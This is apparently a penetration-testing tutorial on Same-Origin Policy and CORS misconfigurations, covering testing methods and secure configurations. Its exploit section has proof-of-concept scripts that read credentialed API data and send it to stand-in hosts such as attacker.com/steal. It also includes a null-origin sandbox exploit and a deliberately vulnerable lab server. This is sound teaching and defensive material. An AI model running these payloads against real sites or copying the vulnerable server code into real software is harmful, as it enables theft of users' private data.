Same-Origin Policy & CORS Deep Dive
TL;DR: Same-Origin Policy (SOP) prevents websites from reading data from other origins. CORS (Cross-Origin Resource Sharing) relaxes SOP when configured. Misconfigurations lead to data theft.
Table of Contents
Open Table of Contents
- Quick Reference
- Why This Matters
- Same-Origin Policy Explained
- What SOP Blocks
- CORS Explained
- CORS Headers
- Preflight Requests
- CORS Misconfigurations
- Exploiting CORS
- Testing for CORS Issues
- Other Cross-Origin Techniques
- Defense and Remediation
- Tools Reference
- Practice Labs
- Glossary
- What’s Next?
- Summary
Quick Reference
Origin Definition
| URL | Origin |
|---|---|
https://example.com/page | https://example.com |
https://example.com:443/page | https://example.com |
http://example.com/page | http://example.com (different!) |
https://sub.example.com/page | https://sub.example.com (different!) |
https://example.com:8080/page | https://example.com:8080 (different!) |
Origin = Scheme + Host + Port
CORS Headers
| Header | Purpose | Set By |
|---|---|---|
Access-Control-Allow-Origin | Allowed origin(s) | Server |
Access-Control-Allow-Credentials | Allow cookies | Server |
Access-Control-Allow-Methods | Allowed HTTP methods | Server |
Access-Control-Allow-Headers | Allowed request headers | Server |
Access-Control-Expose-Headers | Readable response headers | Server |
Access-Control-Max-Age | Preflight cache time | Server |
Origin | Requesting origin | Browser |
Common Misconfigurations
| Misconfiguration | Risk | Severity |
|---|---|---|
Access-Control-Allow-Origin: * with credentials | N/A (blocked by browser) | - |
| Reflecting Origin header | Data theft | Critical |
| Null origin allowed | Sandbox bypass | High |
| Subdomain wildcard | Subdomain takeover → CORS | High |
| HTTP origin trusted | MITM → data theft | Medium |
Why This Matters
The Problem SOP Solves
Without SOP, any website could:
Scenario: You're logged into bank.com, then visit evil.com
Without SOP:
┌─────────────┐ ┌─────────────┐
│ evil.com │ │ bank.com │
│ │ │ │
│ <script> │ XMLHttpRequest to │ /api/ │
│ fetch( │ ─────────────────────────►│ accounts │
│ bank.com │ │ │
│ /accounts) │◄───────────────────────── │ Returns │
│ </script> │ Account data! │ JSON data │
│ │ │ │
│ Sends data │ │ │
│ to attacker│ │ │
└─────────────┘ └─────────────┘
Your bank account data stolen!
Real-World Impact
| Vulnerability | Impact |
|---|---|
| CORS misconfiguration | Read private API data |
| Origin reflection | Account takeover via API |
| Null origin allowed | Steal data via sandboxed iframe |
| Subdomain trust | Exploit XSS on subdomain |
Same-Origin Policy Explained
TL;DR: SOP restricts how documents/scripts from one origin can interact with resources from another origin.
What is an Origin?
Origin = Scheme + Host + Port
https://www.example.com:443/page.html
│ │ │
│ │ └── Port (443 default for HTTPS)
│ └────────────── Host
└───────────────────────── Scheme
Same origin?
https://www.example.com/a vs https://www.example.com/b ✓ Same
https://www.example.com vs http://www.example.com ✗ Different (scheme)
https://www.example.com vs https://api.example.com ✗ Different (host)
https://www.example.com vs https://www.example.com:8080 ✗ Different (port)
SOP Rules
| Action | Same Origin | Cross Origin |
|---|---|---|
| Read DOM | ✓ Allowed | ✗ Blocked |
| Read cookies | ✓ Allowed | ✗ Blocked |
| XMLHttpRequest/fetch | ✓ Allowed | Blocked (unless CORS) |
| Embed images | ✓ Allowed | ✓ Allowed |
| Embed scripts | ✓ Allowed | ✓ Allowed |
| Embed iframes | ✓ Allowed | ✓ (but can’t read content) |
| Submit forms | ✓ Allowed | ✓ Allowed (but can’t read response) |
What SOP Blocks
Blocked: Reading Cross-Origin Response
// From attacker.com, trying to read bank.com data
fetch('https://bank.com/api/accounts')
.then(response => response.json())
.then(data => {
// SOP BLOCKS THIS
// Response is blocked, can't read data
console.log(data);
});
Blocked: Accessing Cross-Origin DOM
// From attacker.com
let iframe = document.createElement('iframe');
iframe.src = 'https://bank.com';
document.body.appendChild(iframe);
// SOP BLOCKS THIS
let bankContent = iframe.contentDocument; // Error!
let bankWindow = iframe.contentWindow.document; // Error!
Blocked: Reading Cross-Origin Cookies
// From attacker.com
// Cannot read bank.com's cookies
document.cookie; // Only attacker.com cookies
NOT Blocked: Sending Requests
// SOP doesn't prevent SENDING requests, only READING responses
// This request IS sent (with cookies!)
fetch('https://bank.com/api/transfer', {
method: 'POST',
credentials: 'include', // Sends cookies!
body: JSON.stringify({to: 'attacker', amount: 1000})
});
// Request goes through, but response is blocked
// This is why we have CSRF protections!
NOT Blocked: Embedding Resources
<!-- These all work cross-origin -->
<img src="https://other-site.com/image.png">
<script src="https://other-site.com/script.js"></script>
<link href="https://other-site.com/style.css">
<iframe src="https://other-site.com/page"></iframe>
<video src="https://other-site.com/video.mp4"></video>
<!-- But you can't READ the content of embedded resources -->
CORS Explained
TL;DR: CORS is a mechanism that allows servers to specify which origins can read their responses.
How CORS Works
1. Browser makes cross-origin request
2. Browser automatically adds Origin header
3. Server checks Origin, decides to allow/deny
4. Server adds CORS headers to response
5. Browser checks headers, allows/blocks JavaScript access
┌─────────────┐ ┌─────────────┐
│ Browser │ Request │ Server │
│ (origin: │ Origin: a.com │ (b.com) │
│ a.com) │ ────────────────────────────►│ │
│ │ │ │
│ │ Response │ │
│ │ Access-Control-Allow- │ │
│ │ Origin: a.com │ │
│ │◄──────────────────────────── │ │
│ │ │ │
│ JS can now │ │ │
│ read response │ │
└─────────────┘ └─────────────┘
Simple vs Preflighted Requests
Simple Request (no preflight):
- GET, HEAD, or POST
- Only "simple" headers (Accept, Content-Type, etc.)
- Content-Type only: text/plain, multipart/form-data,
application/x-www-form-urlencoded
Preflighted Request (OPTIONS first):
- PUT, DELETE, PATCH, etc.
- Custom headers
- Content-Type: application/json
CORS Headers
Access-Control-Allow-Origin
Specifies which origin(s) can read the response.
# Allow specific origin
Access-Control-Allow-Origin: https://trusted.com
# Allow any origin (no credentials)
Access-Control-Allow-Origin: *
# DANGEROUS: Reflect any origin (server code)
Access-Control-Allow-Origin: {value of Origin header}
Access-Control-Allow-Credentials
Allows cookies/auth to be included.
Access-Control-Allow-Credentials: true
# IMPORTANT: Cannot use * with credentials
# This is BLOCKED by browsers:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods
Specifies allowed HTTP methods.
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers
Specifies allowed request headers.
Access-Control-Allow-Headers: Content-Type, Authorization, X-Custom-Header
Access-Control-Expose-Headers
Makes response headers readable by JavaScript.
# By default, only these are readable:
# Cache-Control, Content-Language, Content-Type, Expires, Last-Modified, Pragma
# To expose custom headers:
Access-Control-Expose-Headers: X-Custom-Header, X-Request-Id
Access-Control-Max-Age
Caches preflight response.
Access-Control-Max-Age: 86400 # 24 hours
Preflight Requests
TL;DR: Browsers send OPTIONS request first for “non-simple” requests to check if actual request is allowed.
Preflight Flow
Step 1: Browser sends OPTIONS (preflight)
┌─────────────┐ ┌─────────────┐
│ Browser │ OPTIONS /api/data │ Server │
│ │ Origin: https://a.com │ │
│ │ Access-Control-Request- │ │
│ │ Method: PUT │ │
│ │ Access-Control-Request- │ │
│ │ Headers: X-Custom │ │
│ │ ────────────────────────────►│ │
│ │ │ │
│ │ 200 OK │ │
│ │ Access-Control-Allow- │ │
│ │ Origin: https://a.com │ │
│ │ Access-Control-Allow- │ │
│ │ Methods: PUT │ │
│ │ Access-Control-Allow- │ │
│ │ Headers: X-Custom │ │
│ │◄──────────────────────────── │ │
└─────────────┘ └─────────────┘
Step 2: Browser sends actual request (if preflight passed)
┌─────────────┐ ┌─────────────┐
│ Browser │ PUT /api/data │ Server │
│ │ Origin: https://a.com │ │
│ │ X-Custom: value │ │
│ │ ────────────────────────────►│ │
│ │ │ │
│ │ 200 OK │ │
│ │ Access-Control-Allow- │ │
│ │ Origin: https://a.com │ │
│ │◄──────────────────────────── │ │
└─────────────┘ └─────────────┘
When Preflight Happens
| Condition | Preflight? |
|---|---|
| GET/HEAD/POST | No (simple) |
| PUT/DELETE/PATCH | Yes |
| Custom headers (X-*) | Yes |
| Content-Type: application/json | Yes |
| Credentials: include | Depends on other factors |
CORS Misconfigurations
1. Reflecting Origin Header
Most dangerous misconfiguration!
// Vulnerable server code (Node.js example)
app.use((req, res, next) => {
res.setHeader('Access-Control-Allow-Origin', req.headers.origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
next();
});
Request:
GET /api/sensitive HTTP/1.1
Host: vulnerable.com
Origin: https://attacker.com
Cookie: session=abc123
Response:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
{"ssn": "123-45-6789", "credit_card": "4111..."}
| Attack | Detect | Defend |
|---|---|---|
| Steal user data via attacker site | Test with arbitrary Origin | Whitelist specific origins |
| Account takeover via API | Check if Origin is reflected | Never reflect Origin blindly |
| Session hijacking | Verify CORS headers | Validate against whitelist |
2. Null Origin Allowed
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Why it’s dangerous: Sandboxed iframes have null origin.
<!-- Attacker's page -->
<iframe sandbox="allow-scripts allow-forms"
src="data:text/html,<script>
fetch('https://vulnerable.com/api/sensitive', {
credentials: 'include'
})
.then(r => r.text())
.then(d => {
// Send to attacker
new Image().src = 'https://attacker.com/steal?data=' + encodeURIComponent(d);
});
</script>">
</iframe>
| Attack | Detect | Defend |
|---|---|---|
| Bypass via sandboxed iframe | Test with Origin: null | Never allow null origin |
| Data theft | Check for null in whitelist | Remove null from allowed list |
3. Subdomain Wildcard
// Vulnerable: trusts any subdomain
const origin = req.headers.origin;
if (origin && origin.endsWith('.example.com')) {
res.setHeader('Access-Control-Allow-Origin', origin);
}
Risk: Attacker finds XSS on any subdomain → uses it for CORS attack.
Scenario:
1. blog.example.com has XSS vulnerability
2. Attacker exploits XSS to make API calls
3. API trusts blog.example.com
4. Attacker reads sensitive data
| Attack | Detect | Defend |
|---|---|---|
| XSS + CORS chain | Test with Origin: evil.example.com | Explicit subdomain whitelist |
| Subdomain takeover → CORS | Check subdomain trust logic | Monitor all subdomains |
4. Partial Domain Match
// VULNERABLE - "notexample.com" would match!
if (origin.includes('example.com')) {
// Trust it
}
// ALSO VULNERABLE - "example.com.attacker.com" would match!
if (origin.endsWith('example.com')) {
// Trust it
}
| Attack | Detect | Defend |
|---|---|---|
| Register similar domain | Test with Origin: notexample.com | Use exact match |
| Use attacker subdomain | Test Origin: example.com.attacker.com | Validate full origin |
5. HTTP Origin Trusted
// Allows both HTTP and HTTPS
const allowedOrigins = [
'https://example.com',
'http://example.com' // DANGEROUS!
];
Risk: MITM can inject JavaScript over HTTP → access HTTPS API.
| Attack | Detect | Defend |
|---|---|---|
| MITM + HTTP injection | Check for HTTP origins | HTTPS only |
| Coffee shop attack | Test with Origin: http://example.com | Remove HTTP from whitelist |
Exploiting CORS
Basic Exploitation POC
<!DOCTYPE html>
<html>
<head>
<title>CORS Exploit</title>
</head>
<body>
<h1>CORS Vulnerability Exploit</h1>
<div id="result"></div>
<script>
// Replace with vulnerable endpoint
const targetUrl = 'https://vulnerable.com/api/user/profile';
fetch(targetUrl, {
method: 'GET',
credentials: 'include' // Include cookies
})
.then(response => response.json())
.then(data => {
// Display stolen data
document.getElementById('result').innerHTML =
'<pre>' + JSON.stringify(data, null, 2) + '</pre>';
// Exfiltrate to attacker server
fetch('https://attacker.com/log', {
method: 'POST',
body: JSON.stringify(data)
});
})
.catch(error => {
document.getElementById('result').innerHTML = 'Error: ' + error;
});
</script>
</body>
</html>
Null Origin Exploit
<iframe sandbox="allow-scripts allow-forms" srcdoc="
<script>
fetch('https://vulnerable.com/api/sensitive', {
credentials: 'include'
})
.then(r => r.json())
.then(d => {
// Exfiltrate data
parent.postMessage(JSON.stringify(d), '*');
});
</script>
"></iframe>
<script>
window.addEventListener('message', function(e) {
console.log('Stolen data:', e.data);
// Send to attacker server
fetch('https://attacker.com/collect?data=' + encodeURIComponent(e.data));
});
</script>
Advanced: Chaining with XSS
// If you have XSS on trusted.example.com
// And API trusts *.example.com
// XSS Payload on trusted.example.com:
fetch('https://api.example.com/user/sensitive', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
// Exfiltrate
navigator.sendBeacon('https://attacker.com/steal', JSON.stringify(data));
});
Testing for CORS Issues
Testing Checklist
- Test with arbitrary Origin header
- Test with null Origin
- Test with subdomain variations
- Test with similar domain names
- Test HTTP version of HTTPS origins
- Check if credentials are allowed
- Verify preflight handling
- Test method-specific restrictions
Manual Testing
Curl Commands
# Test arbitrary origin
curl -H "Origin: https://attacker.com" \
-I https://target.com/api/endpoint
# Check response headers
curl -H "Origin: https://attacker.com" \
-v https://target.com/api/endpoint 2>&1 | grep -i "access-control"
# Test null origin
curl -H "Origin: null" \
-I https://target.com/api/endpoint
# Test with credentials header request
curl -H "Origin: https://attacker.com" \
-H "Cookie: session=abc123" \
-v https://target.com/api/endpoint
# Test preflight
curl -X OPTIONS \
-H "Origin: https://attacker.com" \
-H "Access-Control-Request-Method: PUT" \
-H "Access-Control-Request-Headers: X-Custom" \
-v https://target.com/api/endpoint
# Test subdomain
curl -H "Origin: https://evil.target.com" \
-I https://target.com/api/endpoint
# Test similar domain
curl -H "Origin: https://target.com.attacker.com" \
-I https://target.com/api/endpoint
Burp Suite Testing
1. Enable "Passive CORS checks" in Burp Scanner
2. Add custom Origin headers in Repeater
3. Use "Collaborator" for blind testing
Match and Replace rules:
- Match: ^Origin:.*$
- Replace: Origin: https://attacker.com
Automated Testing
Automation Scripts
#!/usr/bin/env python3
"""CORS Misconfiguration Tester"""
import requests
def test_cors(url, origins):
results = []
for origin in origins:
try:
headers = {'Origin': origin}
resp = requests.get(url, headers=headers)
acao = resp.headers.get('Access-Control-Allow-Origin', '')
acac = resp.headers.get('Access-Control-Allow-Credentials', '')
if acao:
result = {
'origin': origin,
'acao': acao,
'acac': acac,
'vulnerable': False
}
# Check for vulnerabilities
if acao == origin or acao == '*':
if acac.lower() == 'true' or acao == origin:
result['vulnerable'] = True
results.append(result)
except Exception as e:
print(f"Error testing {origin}: {e}")
return results
# Test origins
test_origins = [
'https://attacker.com',
'null',
'https://subdomain.target.com',
'https://target.com.attacker.com',
'http://target.com',
]
url = 'https://target.com/api/endpoint'
results = test_cors(url, test_origins)
for r in results:
status = "VULNERABLE" if r['vulnerable'] else "OK"
print(f"[{status}] Origin: {r['origin']}")
print(f" ACAO: {r['acao']}")
print(f" ACAC: {r['acac']}")
print()
# Using Corsy
python3 corsy.py -u https://target.com/api/endpoint
# Using CORScanner
python3 cors_scan.py -u https://target.com
# Using nuclei
nuclei -u https://target.com -t cors/
Other Cross-Origin Techniques
JSONP (Legacy)
<!-- Old technique, often vulnerable -->
<script>
function callback(data) {
// Process stolen data
console.log(data);
}
</script>
<script src="https://vulnerable.com/api/data?callback=callback"></script>
<!-- Server returns: callback({"secret": "data"}) -->
PostMessage
// Check for insecure postMessage handlers
window.addEventListener('message', function(e) {
// VULNERABLE: No origin check
eval(e.data);
});
// Secure version
window.addEventListener('message', function(e) {
if (e.origin !== 'https://trusted.com') return;
// Process message
});
WebSocket
// WebSockets don't follow SOP by default
// Server must validate Origin header
const ws = new WebSocket('wss://target.com/socket');
ws.onopen = function() {
ws.send('malicious data');
};
Defense and Remediation
Secure CORS Configuration
// Node.js/Express example
const allowedOrigins = [
'https://app.example.com',
'https://admin.example.com'
];
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Access-Control-Allow-Methods', 'GET, POST');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type');
}
// Handle preflight
if (req.method === 'OPTIONS') {
res.setHeader('Access-Control-Max-Age', '86400');
return res.status(204).end();
}
next();
});
Security Checklist for Developers
- Use explicit origin whitelist (no wildcards)
- Never reflect Origin header blindly
- Never allow null origin with credentials
- Use HTTPS-only origins
- Validate full origin (not partial match)
- Implement proper preflight handling
- Set appropriate Access-Control-Max-Age
- Only expose necessary headers
- Consider using CSRF tokens in addition to CORS
Common Framework Configurations
Framework Examples
# Django (django-cors-headers)
CORS_ALLOWED_ORIGINS = [
"https://app.example.com",
"https://admin.example.com",
]
CORS_ALLOW_CREDENTIALS = True
# Flask (flask-cors)
from flask_cors import CORS
CORS(app, origins=['https://app.example.com'], supports_credentials=True)
# Spring Boot
@CrossOrigin(origins = "https://app.example.com", allowCredentials = "true")
@RestController
public class ApiController { }
# .NET Core
services.AddCors(options => {
options.AddPolicy("MyPolicy", builder => {
builder.WithOrigins("https://app.example.com")
.AllowCredentials()
.AllowAnyMethod()
.AllowAnyHeader();
});
});
Tools Reference
Testing Tools
| Tool | Purpose | Link |
|---|---|---|
| Corsy | CORS scanner | GitHub |
| CORScanner | Automated testing | GitHub |
| Burp Suite | Manual testing | PortSwigger |
| nuclei | Template-based | ProjectDiscovery |
Browser DevTools
Chrome DevTools:
- Network tab: Check response headers
- Console: Test fetch requests
- Application: Check cookies
Firefox DevTools:
- Network tab: CORS indicator
- Console: CORS error messages
Practice Labs
Beginner
| Resource | Focus |
|---|---|
| PortSwigger Web Academy | CORS fundamentals |
| TryHackMe | Browser security |
| HackTheBox Academy | CORS exploitation |
Practice Exercises
- Find a site that reflects Origin header
- Exploit null origin vulnerability
- Chain XSS with CORS misconfiguration
- Bypass partial domain matching
Lab Setup
<!-- Vulnerable server for practice -->
<!-- Save as cors-lab.js -->
const express = require('express');
const app = express();
// VULNERABLE: Reflects any origin
app.use((req, res, next) => {
res.setHeader('Access-Control-Allow-Origin', req.headers.origin || '*');
res.setHeader('Access-Control-Allow-Credentials', 'true');
next();
});
app.get('/api/secret', (req, res) => {
res.json({ secret: 'sensitive_data_here' });
});
app.listen(3000);
Glossary
| Term | Definition |
|---|---|
| CORS | Cross-Origin Resource Sharing |
| CSRF | Cross-Site Request Forgery |
| Origin | Scheme + Host + Port |
| Preflight | OPTIONS request before actual request |
| SOP | Same-Origin Policy |
| Wildcard | Access-Control-Allow-Origin: * |
| ACAO | Access-Control-Allow-Origin header |
| ACAC | Access-Control-Allow-Credentials header |
What’s Next?
Now that you understand SOP and CORS:
| Topic | Description | Link |
|---|---|---|
| Web Basics | HTTP, cookies, headers | Web Basics Guide |
| Web App Pentesting | Full methodology | Web App Guide |
| Authentication Flows | Auth security | Auth Flows Guide |
| CSP | Content Security Policy | Coming Soon |
Summary
SOP and CORS are fundamental to web security:
- SOP - Prevents cross-origin data reads by default
- CORS - Server-controlled relaxation of SOP
- Common Issues - Origin reflection, null origin, subdomain trust
- Impact - Data theft, account takeover
- Testing - Check Origin header handling, credentials
Key Findings to Report:
- Origin header reflection with credentials
- Null origin allowed with credentials
- Overly permissive subdomain trust
- HTTP origins trusted for HTTPS APIs
- Partial domain matching vulnerabilities
Found this guide helpful? Check out the other posts in the SecureKhan penetration testing series.